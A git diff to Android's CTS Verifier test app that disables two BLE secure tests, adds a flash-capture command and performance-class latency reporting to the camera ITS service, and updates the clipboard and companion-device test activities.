diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index 357bb142aa3..2a7c8b40b18 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -127,6 +127,7 @@ public class BleClientTestBaseActivity extends PassFailButtons.Activity {
filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
filter.addAction(BleClientService.BLE_PHY_READ);
+ filter.addAction(BleClientService.BLE_PHY_READ_SKIPPED);
filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
@@ -375,6 +376,7 @@ public class BleClientTestBaseActivity extends PassFailButtons.Activity {
newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
break;
case BleClientService.BLE_PHY_READ:
+ case BleClientService.BLE_PHY_READ_SKIPPED:
actionName = getString(R.string.ble_read_phy_name);
mTestAdapter.setTestPass(BLE_READ_PHY);
mPassed |= PASS_FLAG_READ_PHY;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
index feba59c048b..cde35beb8f6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
@@ -40,6 +40,13 @@ public class BleSecureClientTestListActivity extends PassFailButtons.TestListAct
BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
List<String> disabledTest = new ArrayList<String>();
+
+ // Temporarily disable this test (b/235763737).
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityClientTestActivity");
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureEncryptedClientTestActivity");
+
if (adapter == null || !adapter.isOffloadedFilteringSupported()) {
disabledTest.add(
"com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java
index 06d6dabacd2..6fc3b872754 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java
@@ -37,6 +37,12 @@ public class BleSecureServerTestListActivity extends PassFailButtons.TestListAct
BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
List<String> disabledTest = new ArrayList<String>();
+ // Temporarily disable this test (b/235763737).
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityServerTestActivity");
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureEncryptedServerTestActivity");
+
if (adapter == null || !adapter.isOffloadedFilteringSupported()) {
disabledTest.add(
"com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 1349767889f..1ac6b0f67e8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -32,6 +32,7 @@ import android.content.Intent;
import android.content.pm.ServiceInfo;
import android.graphics.ImageFormat;
import android.graphics.Rect;
+import android.graphics.SurfaceTexture;
import android.hardware.HardwareBuffer;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
@@ -241,6 +242,8 @@ public class ItsService extends Service implements SensorEventListener {
final Object m3AStateLock = new Object();
private volatile boolean mConvergedAE = false;
+ private volatile boolean mPrecaptureTriggered = false;
+ private volatile boolean mConvergeAETriggered = false;
private volatile boolean mConvergedAF = false;
private volatile boolean mConvergedAWB = false;
private volatile boolean mLockedAE = false;
@@ -821,6 +824,8 @@ public class ItsService extends Service implements SensorEventListener {
String cameraId = cmdObj.getString("cameraId");
int profileId = cmdObj.getInt("profileId");
doCheckHLG10Support(cameraId, profileId);
+ } else if ("doCaptureWithFlash".equals(cmdObj.getString("cmdName"))) {
+ doCaptureWithFlash(cmdObj);
} else {
throw new ItsException("Unknown command: " + cmd);
}
@@ -1031,7 +1036,9 @@ public class ItsService extends Service implements SensorEventListener {
@Override
public void onImageAvailable(ImageReader reader) {
Image i = reader.acquireNextImage();
- i.close();
+ if (i != null) {
+ i.close();
+ }
}
};
}
@@ -1842,6 +1849,8 @@ public class ItsService extends Service implements SensorEventListener {
// s1440p which is the max supported stream size in a combination, when preview
// stabilization is on.
Size maxPreviewSize = new Size(1920, 1440);
+ // QCIF, we test only sizes >= this.
+ Size minPreviewSize = new Size(176, 144);
Size[] outputSizes = configMap.getOutputSizes(ImageFormat.YUV_420_888);
if (outputSizes == null) {
mSocketRunnableObj.sendResponse("supportedPreviewSizes", "");
@@ -1852,6 +1861,8 @@ public class ItsService extends Service implements SensorEventListener {
.distinct()
.filter(s -> s.getWidth() * s.getHeight()
<= maxPreviewSize.getWidth() * maxPreviewSize.getHeight())
+ .filter(s -> s.getWidth() * s.getHeight()
+ >= minPreviewSize.getWidth() * minPreviewSize.getHeight())
.sorted(Comparator.comparingInt(s -> s.getWidth() * s.getHeight()))
.map(Size::toString)
.collect(Collectors.joining(";"));
@@ -2122,7 +2133,7 @@ public class ItsService extends Service implements SensorEventListener {
int fileFormat = MediaRecorder.OutputFormat.DEFAULT;
String outputFilePath = getOutputMediaFile(cameraDeviceId, videoSize,
- /* quality= */"preview", fileFormat, /* stabilized= */ true);
+ /* quality= */"preview", fileFormat, stabilize);
assert outputFilePath != null;
mMediaRecorder = new MediaRecorder(this);
@@ -2337,6 +2348,104 @@ public class ItsService extends Service implements SensorEventListener {
return mediaFile + fileExtension;
}
+ private void doCaptureWithFlash(JSONObject params) throws ItsException {
+ // Parse the json to get the capture requests
+ List<CaptureRequest.Builder> previewStartRequests = ItsSerializer.deserializeRequestList(
+ mCamera, params, "previewRequestStart");
+ List<CaptureRequest.Builder> previewIdleRequests = ItsSerializer.deserializeRequestList(
+ mCamera, params, "previewRequestIdle");
+ List<CaptureRequest.Builder> stillCaptureRequests = ItsSerializer.deserializeRequestList(
+ mCamera, params, "stillCaptureRequest");
+
+ mCaptureResults = new CaptureResult[2];
+
+ ThreeAResultListener threeAListener = new ThreeAResultListener();
+ List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+ SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
+ Surface previewSurface = new Surface(preview);
+ try {
+ BlockingSessionCallback sessionListener = new BlockingSessionCallback();
+ try {
+ mCountCapRes.set(0);
+ mCountJpg.set(0);
+ JSONArray jsonOutputSpecs = ItsUtils.getOutputSpecs(params);
+ prepareImageReadersWithOutputSpecs(jsonOutputSpecs, /*inputSize*/null,
+ /*inputFormat*/0,/*maxInputBuffers*/0,false);
+
+ outputConfigs.add(new OutputConfiguration(mOutputImageReaders[0].getSurface()));
+ outputConfigs.add(new OutputConfiguration(previewSurface));
+ mCamera.createCaptureSessionByOutputConfigurations(
+ outputConfigs, sessionListener, mCameraHandler);
+ mSession = sessionListener.waitAndGetSession(TIMEOUT_IDLE_MS);
+ ImageReader.OnImageAvailableListener readerListener =
+ createAvailableListener(mCaptureCallback);
+ mOutputImageReaders[0].setOnImageAvailableListener(readerListener,
+ mSaveHandlers[0]);
+ } catch (Exception e) {
+ throw new ItsException("Error configuring outputs", e);
+ }
+ CaptureRequest.Builder previewIdleReq = previewIdleRequests.get(0);
+ previewIdleReq.addTarget(previewSurface);
+ mSession.setRepeatingRequest(previewIdleReq.build(), threeAListener, mResultHandler);
+ Logt.i(TAG, "Triggering precapture sequence");
+ mPrecaptureTriggered = false;
+ CaptureRequest.Builder previewStartReq = previewStartRequests.get(0);
+ previewStartReq.addTarget(previewSurface);
+ mSession.capture(previewStartReq.build(), threeAListener ,mResultHandler);
+ mInterlock3A.open();
+ synchronized(m3AStateLock) {
+ mPrecaptureTriggered = false;
+ mConvergeAETriggered = false;
+ }
+ long tstart = System.currentTimeMillis();
+ boolean triggeredAE = false;
+ while (!mPrecaptureTriggered) {
+ if (!mInterlock3A.block(TIMEOUT_3A * 1000) ||
+ System.currentTimeMillis() - tstart > TIMEOUT_3A * 1000) {
+ throw new ItsException (
+ "AE state is " + CaptureResult.CONTROL_AE_STATE_PRECAPTURE +
+ "after " + TIMEOUT_3A + " seconds.");
+ }
+ }
+ mConvergeAETriggered = false;
+
+ tstart = System.currentTimeMillis();
+ while (!mConvergeAETriggered) {
+ if (!mInterlock3A.block(TIMEOUT_3A * 1000) ||
+ System.currentTimeMillis() - tstart > TIMEOUT_3A * 1000) {
+ throw new ItsException (
+ "3A failed to converge after " + TIMEOUT_3A + " seconds.\n" +
+ "AE converge state: " + mConvergedAE + ".");
+ }
+ }
+ mInterlock3A.close();
+ Logt.i(TAG, "AE state after precapture sequence: " + mConvergeAETriggered);
+ threeAListener.stop();
+
+ // Send a still capture request
+ CaptureRequest.Builder stillCaptureRequest = stillCaptureRequests.get(0);
+ Logt.i(TAG, "Taking still capture with ON_AUTO_FLASH.");
+ stillCaptureRequest.addTarget(mOutputImageReaders[0].getSurface());
+ mSession.capture(stillCaptureRequest.build(), mCaptureResultListener, mResultHandler);
+ mCountCallbacksRemaining.set(1);
+ long timeout = TIMEOUT_CALLBACK * 1000;
+ waitForCallbacks(timeout);
+ mSession.stopRepeating();
+ } catch (android.hardware.camera2.CameraAccessException e) {
+ throw new ItsException("Access error: ", e);
+ } finally {
+ if (mSession != null) {
+ mSession.close();
+ }
+ if (previewSurface != null) {
+ previewSurface.release();
+ }
+ if (preview != null) {
+ preview.release();
+ }
+ }
+ }
+
private void doCapture(JSONObject params) throws ItsException {
try {
// Parse the JSON to get the list of capture requests.
@@ -2883,7 +2992,14 @@ public class ItsService extends Service implements SensorEventListener {
result.get(CaptureResult.CONTROL_AE_STATE) ==
CaptureResult.CONTROL_AE_STATE_LOCKED;
mLockedAE = result.get(CaptureResult.CONTROL_AE_STATE) ==
- CaptureResult.CONTROL_AE_STATE_LOCKED;
+ CaptureResult.CONTROL_AE_STATE_LOCKED;
+ if (!mPrecaptureTriggered) {
+ mPrecaptureTriggered = result.get(CaptureResult.CONTROL_AE_STATE) ==
+ CaptureResult.CONTROL_AE_STATE_PRECAPTURE;
+ }
+ if (!mConvergeAETriggered) {
+ mConvergeAETriggered = mConvergedAE;
+ }
}
if (result.get(CaptureResult.CONTROL_AF_STATE) != null) {
mConvergedAF = result.get(CaptureResult.CONTROL_AF_STATE) ==
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index d83464bd549..692538a81c3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -21,9 +21,8 @@ import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Configuration;
-import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraManager;
-import android.os.Build;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.os.Bundle;
import android.text.method.ScrollingMovementMethod;
import android.util.Log;
@@ -31,6 +30,11 @@ import android.view.WindowManager;
import android.widget.TextView;
import android.widget.Toast;
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Comparator;
@@ -39,17 +43,11 @@ import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Locale;
-import java.util.Map;
import java.util.Set;
import java.util.TreeSet;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import java.io.BufferedReader;
-import java.io.FileReader;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
import com.android.cts.verifier.ArrayTestListAdapter;
@@ -59,6 +57,7 @@ import com.android.cts.verifier.TestResult;
import org.json.JSONArray;
import org.json.JSONObject;
+import org.junit.rules.TestName;
/**
* Test for Camera features that require that the camera be aimed at a specific test scene.
@@ -81,12 +80,6 @@ public class ItsTestActivity extends DialogTestListActivity {
Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}));
private static final int MAX_SUMMARY_LEN = 200;
- private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms
- private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms
-
- private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
- private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts";
-
private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN =
Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)");
private static final Pattern MPC12_JPEG_CAPTURE_PATTERN =
@@ -95,8 +88,12 @@ public class ItsTestActivity extends DialogTestListActivity {
private final ResultReceiver mResultsReceiver = new ResultReceiver();
private boolean mReceiverRegistered = false;
+ public final TestName mTestName = new TestName();
+
// Initialized in onCreate
List<String> mToBeTestedCameraIds = null;
+ String mPrimaryRearCameraId = null;
+ String mPrimaryFrontCameraId = null;
// Scenes
private static final ArrayList<String> mSceneIds = new ArrayList<String> () {{
@@ -132,8 +129,15 @@ public class ItsTestActivity extends DialogTestListActivity {
private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>();
// All primary cameras for which MPC level test has run
private Set<ResultKey> mExecutedMpcTests = null;
- // Map primary camera id to MPC level
- private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>();
+ private static final String MPC_LAUNCH_REQ_NUM = "2.2.7.2/7.5/H-1-6";
+ private static final String MPC_JPEG_CAPTURE_REQ_NUM = "2.2.7.2/7.5/H-1-5";
+ // Performance class evaluator used for writing test result
+ PerformanceClassEvaluator mPce = new PerformanceClassEvaluator(mTestName);
+ PerformanceClassEvaluator.CameraLatencyRequirement mJpegLatencyReq =
+ mPce.addR7_5__H_1_5();
+ PerformanceClassEvaluator.CameraLatencyRequirement mLaunchLatencyReq =
+ mPce.addR7_5__H_1_6();
+
final class ResultKey {
public final String cameraId;
@@ -266,10 +270,7 @@ public class ItsTestActivity extends DialogTestListActivity {
JSONArray metrics = sceneResult.getJSONArray("mpc_metrics");
for (int i = 0; i < metrics.length(); i++) {
String mpcResult = metrics.getString(i);
- if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN,
- "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) &&
- !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN,
- "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) {
+ if (!matchMpcResult(cameraId, mpcResult)) {
Log.e(TAG, "Error parsing MPC result string:" + mpcResult);
return;
}
@@ -294,17 +295,6 @@ public class ItsTestActivity extends DialogTestListActivity {
summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
}
- // Save MPC info once both front primary and rear primary data are collected.
- if (mExecutedMpcTests.size() == 4) {
- ItsTestActivity.this.getReportLog().addValue(
- "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
- for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) {
- ItsTestActivity.this.getReportLog().addValue(entry.getKey(),
- entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE);
- }
- ItsTestActivity.this.getReportLog().submit();
- }
-
// Display current progress
StringBuilder progress = new StringBuilder();
for (ResultKey k : mAllScenes) {
@@ -367,28 +357,44 @@ public class ItsTestActivity extends DialogTestListActivity {
}
}
- private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern,
- String reqNum, float threshold) {
- Matcher matcher = pattern.matcher(mpcResult);
- boolean match = matcher.matches();
- final int LATEST_MPC_LEVEL = Build.VERSION_CODES.TIRAMISU;
+ private boolean matchMpcResult(String cameraId, String mpcResult) {
+ Matcher launchMatcher = MPC12_CAMERA_LAUNCH_PATTERN.matcher(mpcResult);
+ boolean launchMatches = launchMatcher.matches();
- if (match) {
- // Store test result
- ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId,
- mpcResult, ResultType.NEUTRAL, ResultUnit.NONE);
+ Matcher jpegMatcher = MPC12_JPEG_CAPTURE_PATTERN.matcher(mpcResult);
+ boolean jpegMatches = jpegMatcher.matches();
- float latency = Float.parseFloat(matcher.group(1));
- int mpcLevel = latency < threshold ? LATEST_MPC_LEVEL : 0;
- mExecutedMpcTests.add(new ResultKey(cameraId, reqNum));
+ if (!launchMatches && !jpegMatches) {
+ return false;
+ }
+ if (!cameraId.equals(mPrimaryRearCameraId) &&
+ !cameraId.equals(mPrimaryFrontCameraId)) {
+ return false;
+ }
- if (mMpcLevelMap.containsKey(reqNum)) {
- mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum));
+ if (launchMatches) {
+ float latency = Float.parseFloat(launchMatcher.group(1));
+ if (cameraId.equals(mPrimaryRearCameraId)) {
+ mLaunchLatencyReq.setRearCameraLatency(latency);
+ } else {
+ mLaunchLatencyReq.setFrontCameraLatency(latency);
+ }
+ mExecutedMpcTests.add(new ResultKey(cameraId, MPC_LAUNCH_REQ_NUM));
+ } else {
+ float latency = Float.parseFloat(jpegMatcher.group(1));
+ if (cameraId.equals(mPrimaryRearCameraId)) {
+ mJpegLatencyReq.setRearCameraLatency(latency);
+ } else {
+ mJpegLatencyReq.setFrontCameraLatency(latency);
}
- mMpcLevelMap.put(reqNum, mpcLevel);
+ mExecutedMpcTests.add(new ResultKey(cameraId, MPC_JPEG_CAPTURE_REQ_NUM));
}
- return match;
+ // Save MPC info once both front primary and rear primary data are collected.
+ if (mExecutedMpcTests.size() == 4) {
+ mPce.submit();
+ }
+ return true;
}
}
@@ -397,8 +403,11 @@ public class ItsTestActivity extends DialogTestListActivity {
// Hide the test if all camera devices are legacy
CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE);
try {
- ItsUtils.ItsCameraIdList cameraIdList = ItsUtils.getItsCompatibleCameraIds(manager);
+ ItsUtils.ItsCameraIdList cameraIdList =
+ ItsUtils.getItsCompatibleCameraIds(manager);
mToBeTestedCameraIds = cameraIdList.mCameraIdCombos;
+ mPrimaryRearCameraId = cameraIdList.mPrimaryRearCameraId;
+ mPrimaryFrontCameraId = cameraIdList.mPrimaryFrontCameraId;
} catch (ItsException e) {
Toast.makeText(ItsTestActivity.this,
"Received error from camera service while checking device capabilities: "
@@ -499,14 +508,4 @@ public class ItsTestActivity extends DialogTestListActivity {
setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1);
setPassFailButtonClickListeners();
}
-
- @Override
- public String getReportFileName() {
- return MPC_TESTS_REPORT_LOG_NAME;
- }
-
- @Override
- public String getReportSectionName() {
- return MPC_TESTS_REPORT_LOG_SECTION;
- }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
index c648e8e18d9..734b4a2a780 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
@@ -16,28 +16,24 @@
package com.android.cts.verifier.camera.its;
-import android.content.Context;
import android.graphics.ImageFormat;
import android.graphics.Rect;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.CaptureRequest;
-import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.params.MeteringRectangle;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.Image;
import android.media.Image.Plane;
-import android.net.Uri;
-import android.os.Environment;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import android.util.Size;
import com.android.ex.camera2.blocking.BlockingCameraManager;
-import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
import com.android.ex.camera2.blocking.BlockingStateCallback;
import org.json.JSONArray;
@@ -322,6 +318,9 @@ public class ItsUtils {
// Camera Id combos (ids from CameraIdList, and hidden physical camera Ids
// in the form of [logical camera id]:[hidden physical camera id]
public List<String> mCameraIdCombos;
+ // Primary rear and front camera Ids (as defined in MPC)
+ public String mPrimaryRearCameraId;
+ public String mPrimaryFrontCameraId;
}
public static ItsCameraIdList getItsCompatibleCameraIds(CameraManager manager)
@@ -345,6 +344,18 @@ public class ItsUtils {
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE;
final int LOGICAL_MULTI_CAMERA =
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA;
+
+ final Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);
+ if (facing != null) {
+ if (facing == CameraMetadata.LENS_FACING_BACK
+ && outList.mPrimaryRearCameraId == null) {
+ outList.mPrimaryRearCameraId = id;
+ } else if (facing == CameraMetadata.LENS_FACING_FRONT
+ && outList.mPrimaryFrontCameraId == null) {
+ outList.mPrimaryFrontCameraId = id;
+ }
+ }
+
for (int capability : actualCapabilities) {
if (capability == BACKWARD_COMPAT) {
haveBC = true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
index 3587e6f9b8c..63b8904fa03 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
@@ -18,49 +18,22 @@ package com.android.cts.verifier.clipboard;
import android.content.ClipData;
+import android.content.ClipDescription;
import android.content.ClipboardManager;
-import android.graphics.Color;
import android.os.Bundle;
+import android.os.PersistableBundle;
import android.view.View;
import android.widget.Button;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-import java.util.concurrent.ThreadLocalRandom;
-
/**
- * A CTS Verifier test case for validating the user-visible clipboard preview.
- *
- * This test assumes bluetooth is turned on and the device is already paired with a second device.
- * Note: the second device need not be an Android device; it could be a laptop or desktop.
+ * A CTS Verifier test case for validating the user-visible clipboard confirmation.
*/
public class ClipboardPreviewTestActivity extends PassFailButtons.Activity {
- /**
- * The content of the test file being transferred.
- */
- private static final String TEST_STRING = "Sample Test String";
- /**
- * The name of the test file being transferred.
- */
- private final int[] mSecretCode = new int[4];
- private final int[] mSecretGuess = new int[4];
- private final int[] mButtons = {
- R.id.clipboard_preview_test_b0,
- R.id.clipboard_preview_test_b1,
- R.id.clipboard_preview_test_b2,
- R.id.clipboard_preview_test_b3,
- R.id.clipboard_preview_test_b4,
- R.id.clipboard_preview_test_b5,
- R.id.clipboard_preview_test_b6,
- R.id.clipboard_preview_test_b7,
- R.id.clipboard_preview_test_b8,
- R.id.clipboard_preview_test_b9
- };
- private int mGuessIndex = 0;
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -74,87 +47,29 @@ public class ClipboardPreviewTestActivity extends PassFailButtons.Activity {
copyButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
- generateAndCopySecret();
+ setClipboardData();
}
});
- disableKeypad();
+ disablePassFail();
}
- private void generateAndCopySecret() {
- String s = "";
- resetState();
- for (int i = 0; i < mSecretCode.length; ++i) {
- mSecretCode[i] = ThreadLocalRandom.current().nextInt(0, 10);
- s += mSecretCode[i];
- }
+ private void setClipboardData() {
ClipboardManager cm = this.getSystemService(ClipboardManager.class);
- cm.setPrimaryClip(ClipData.newPlainText("Secret", s));
- enableKeypad();
- }
- private void enableKeypad() {
- for (int i = 0; i < mButtons.length; ++i) {
- Button numButton = findViewById(mButtons[i]);
- numButton.setBackgroundColor(Color.GREEN);
- int finalI = i;
- numButton.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View v) {
- buttonClicked(finalI);
- }
- });
- }
+ ClipData cd = ClipData.newPlainText("",
+ getString(R.string.clipboard_preview_test_secret));
+ PersistableBundle pb = new PersistableBundle(1);
+ pb.putBoolean(ClipDescription.EXTRA_IS_SENSITIVE, true);
+ cd.getDescription().setExtras(pb);
+ cm.setPrimaryClip(cd);
+ enablePassFail();
}
- private void disableKeypad() {
- for (int i = 0; i < mButtons.length; ++i) {
- Button numButton = findViewById(mButtons[i]);
- numButton.setOnClickListener(null);
- numButton.setBackgroundColor(Color.LTGRAY);
- }
- }
-
- private void resetState() {
- for (int i = 0; i < mSecretGuess.length; ++i) {
- mSecretGuess[i] = -1;
- }
- mGuessIndex = 0;
- View v = findViewById(R.id.clipboard_preview_test_pass_fail);
+ private void disablePassFail() {
findViewById(R.id.clipboard_preview_test_pass_fail).setVisibility(View.INVISIBLE);
- findViewById(R.id.fail_button).setVisibility(View.VISIBLE);
- findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
- }
-
- private void buttonClicked(int i) {
- if (mGuessIndex < mSecretGuess.length) {
- mSecretGuess[mGuessIndex] = i;
- ++mGuessIndex;
- }
- checkSolution();
- }
-
- private void checkSolution() {
- boolean testPassed = true;
- if (mGuessIndex == mSecretGuess.length) {
- for (int i = 0; i < mSecretGuess.length && i < mSecretCode.length; ++i) {
- if (mSecretGuess[i] != mSecretCode[i]) {
- testPassed = false;
- }
- }
- markPassed(testPassed);
- disableKeypad();
- }
}
- private void markPassed(boolean passed) {
+ private void enablePassFail() {
findViewById(R.id.clipboard_preview_test_pass_fail).setVisibility(View.VISIBLE);
- if (passed) {
- findViewById(R.id.fail_button).setVisibility(View.INVISIBLE);
- } else {
- findViewById(R.id.pass_button).setVisibility(View.INVISIBLE);
- }
-
}
-
-
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
index b8b96023cb7..97ec07acf78 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
@@ -118,7 +118,7 @@ public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity
/** Stop observing to associated device and then disassociate. */
private void disassociate(AssociationInfo association) {
- String deviceAddress = association.getDeviceMacAddressAsString();
+ String deviceAddress = association.getDeviceMacAddress().toString();
mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress);
mCompanionDeviceManager.disassociate(association.getId());
Log.d(LOG_TAG, "Disassociated with device: " + deviceAddress);
@@ -142,11 +142,14 @@ public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity
AssociationInfo association =
data.getParcelableExtra(CompanionDeviceManager.EXTRA_ASSOCIATION,
AssociationInfo.class);
- String deviceAddress = association.getDeviceMacAddressAsString();
// This test is for bluetooth devices, which should all have a MAC address.
- if (deviceAddress == null) fail("The device was present but its address was null.");
+ if (association == null || association.getDeviceMacAddress() == null) {
+ fail("The device was present but its address was null.");
+ return;
+ }
+ String deviceAddress = association.getDeviceMacAddress().toString();
mCompanionDeviceManager.startObservingDevicePresence(deviceAddress);
mCurrentAssociation = getAssociation(association.getId());
Log.d(LOG_TAG, "Associated with device: " + deviceAddress);
@@ -285,7 +288,9 @@ public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity
@Override
boolean verify() {
// Check that it is associated and being observed.
- return mCurrentAssociation != null && mCurrentAssociation.isNotifyOnDeviceNearby();
+ // Bypass inaccessible AssociationInfo#isNotifyOnDeviceNearby() with toString()
+ return mCurrentAssociation != null
+ && mCurrentAssociation.toString().contains("mNotifyOnDeviceNearby=true");
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
index 37760d54440..11829c3d4b7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
@@ -45,7 +45,7 @@ public class DevicePresenceListener extends CompanionDeviceService {
@Override
public void onDeviceAppeared(AssociationInfo association) {
NEARBY_DEVICES.add(association.getId());
- String message = "Device appeared: " + association.getDeviceMacAddressAsString();
+ String message = "Device appeared: " + association.getDeviceMacAddress();
Log.d(LOG_TAG, message);
Toast.makeText(this, message, Toast.LENGTH_LONG).show();
}
@@ -53,7 +53,7 @@ public class DevicePresenceListener extends CompanionDeviceService {
@Override
public void onDeviceDisappeared(AssociationInfo association) {
NEARBY_DEVICES.remove(association.getId());
- String message = "Device disappeared: " + association.getDeviceMacAddressAsString();
+ String message = "Device disappeared: " + association.getDeviceMacAddress();
